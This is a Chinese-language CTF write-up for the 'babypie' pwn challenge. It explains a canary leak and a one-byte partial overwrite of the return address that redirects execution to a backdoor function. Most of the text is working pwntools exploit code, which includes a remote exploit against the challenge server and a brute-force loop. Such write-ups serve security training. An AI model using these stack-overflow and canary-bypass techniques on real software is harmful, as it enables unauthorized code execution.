linkctf_2018.7_babypie wp

此题64位开启nx,canary,pie保护,有backdoor函数sub_A3E

查看主函数,发现没有格式化字符串漏洞,泄露canary只好用到偏移(0x30-0x8=0x28

泄露canary

此时不好泄露程序基址,故考虑函数直接偏移来获取,可以看出返回地址低位为0a

而后门函数低位3e,则考虑覆盖返回地址低位来获取shell,则只需修改1个字节,可以用p8()修改8bit的内容也可以直接发送\x3e

故exp如下:

from pwn import *
# context(log_level='debug',os='linux',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./babypie")
io=remote("node4.buuoj.cn",26395)

# gdb.attach(io)
# pause()

io.recvuntil("Name:\n")
payload=b"a"*0x28
io.sendline(payload)
io.recvuntil(b"\n")
# io.recvuntil(b":\n")
canary=u64(io.recv(7).rjust(8,b"\x00"))
print("canary  "+hex(canary))

io.recvuntil(b"\n")
payload=cyclic(0x28)+p64(canary)+p64(0)+b"\x3e"
io.sendline(payload)


io.interactive()

另外还可以爆破这8bit
爆破脚本:

#include<bits/stdc++.h>
using namespace std;

char a[16]={'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'};


signed main()
{
    for(int i=0;i<16;i++)
    { 
        for(int j=0;j<16;j++)
        {
            cout<<"b"<<char(34)<<char(92)<<"x"<<a[i]<<a[j]<<char(34)<<",";
            // printf("b'%c%c',",a[i],a[j]);
        }
    }


    return 0;
}


爆破exp:

from pwn import *
context(log_level='debug',os='linux',arch='amd64',terminal=['tmux','splitw','-h'])

list1=[b"\x00",b"\x01",b"\x02",b"\x03",b"\x04",b"\x05",b"\x06",b"\x07",b"\x08",b"\x09",b"\x0a",b"\x0b",b"\x0c",b"\x0d",b"\x0e",b"\x0f",b"\x10",b"\x11",b"\x12",b"\x13",b"\x14",b"\x15",b"\x16",b"\x17",b"\x18",b"\x19",b"\x1a",b"\x1b",b"\x1c",b"\x1d",b"\x1e",b"\x1f",b"\x20",b"\x21",b"\x22",b"\x23",b"\x24",b"\x25",b"\x26",b"\x27",b"\x28",b"\x29",b"\x2a",b"\x2b",b"\x2c",b"\x2d",b"\x2e",b"\x2f",b"\x30",b"\x31",b"\x32",b"\x33",b"\x34",b"\x35",b"\x36",b"\x37",b"\x38",b"\x39",b"\x3a",b"\x3b",b"\x3c",b"\x3d",b"\x3e",b"\x3f",b"\x40",b"\x41",b"\x42",b"\x43",b"\x44",b"\x45",b"\x46",b"\x47",b"\x48",b"\x49",b"\x4a",b"\x4b",b"\x4c",b"\x4d",b"\x4e",b"\x4f",b"\x50",b"\x51",b"\x52",b"\x53",b"\x54",b"\x55",b"\x56",b"\x57",b"\x58",b"\x59",b"\x5a",b"\x5b",b"\x5c",b"\x5d",b"\x5e",b"\x5f",b"\x60",b"\x61",b"\x62",b"\x63",b"\x64",b"\x65",b"\x66",b"\x67",b"\x68",b"\x69",b"\x6a",b"\x6b",b"\x6c",b"\x6d",b"\x6e",b"\x6f",b"\x70",b"\x71",b"\x72",b"\x73",b"\x74",b"\x75",b"\x76",b"\x77",b"\x78",b"\x79",b"\x7a",b"\x7b",b"\x7c",b"\x7d",b"\x7e",b"\x7f",b"\x80",b"\x81",b"\x82",b"\x83",b"\x84",b"\x85",b"\x86",b"\x87",b"\x88",b"\x89",b"\x8a",b"\x8b",b"\x8c",b"\x8d",b"\x8e",b"\x8f",b"\x90",b"\x91",b"\x92",b"\x93",b"\x94",b"\x95",b"\x96",b"\x97",b"\x98",b"\x99",b"\x9a",b"\x9b",b"\x9c",b"\x9d",b"\x9e",b"\x9f",b"\xa0",b"\xa1",b"\xa2",b"\xa3",b"\xa4",b"\xa5",b"\xa6",b"\xa7",b"\xa8",b"\xa9",b"\xaa",b"\xab",b"\xac",b"\xad",b"\xae",b"\xaf",b"\xb0",b"\xb1",b"\xb2",b"\xb3",b"\xb4",b"\xb5",b"\xb6",b"\xb7",b"\xb8",b"\xb9",b"\xba",b"\xbb",b"\xbc",b"\xbd",b"\xbe",b"\xbf",b"\xc0",b"\xc1",b"\xc2",b"\xc3",b"\xc4",b"\xc5",b"\xc6",b"\xc7",b"\xc8",b"\xc9",b"\xca",b"\xcb",b"\xcc",b"\xcd",b"\xce",b"\xcf",b"\xd0",b"\xd1",b"\xd2",b"\xd3",b"\xd4",b"\xd5",b"\xd6",b"\xd7",b"\xd8",b"\xd9",b"\xda",b"\xdb",b"\xdc",b"\xdd",b"\xde",b"\xdf",b"\xe0",b"\xe1",b"\xe2",b"\xe3",b"\xe4",b"\xe5",b"\xe6",b"\xe7",b"\xe8",b"\xe9",b"\xea",b"\xeb",b"\xec",b"\xed",b"\xee",b"\xef",b"\xf0",b"\xf1",b"\xf2",b"\xf3",b"\xf4",b"\xf5",b"\xf6",b"\xf7",b"\xf8",b"\xf9",b"\xfa",b"\xfb",b"\xfc",b"\xfd",b"\xfe",b"\xff"]

num=0

while True:
    try:
        io=process("./babypie")
        # io=remote("node4.buuoj.cn",26395)

        # gdb.attach(io)
        # pause()

        io.recvuntil("Name:\n")
        payload=b"a"*0x28
        io.sendline(payload)
        io.recvuntil(b"\n")
        # io.recvuntil(b":\n")
        canary=u64(io.recv(7).rjust(8,b"\x00"))
        print("canary  "+hex(canary))

        io.recvuntil(b"\n")
        payload=cyclic(0x28)+p64(canary)+p64(0)+list1[num]
        num+=1
        io.sendline(payload)


        io.interactive()
    except :
        io.close()
        continue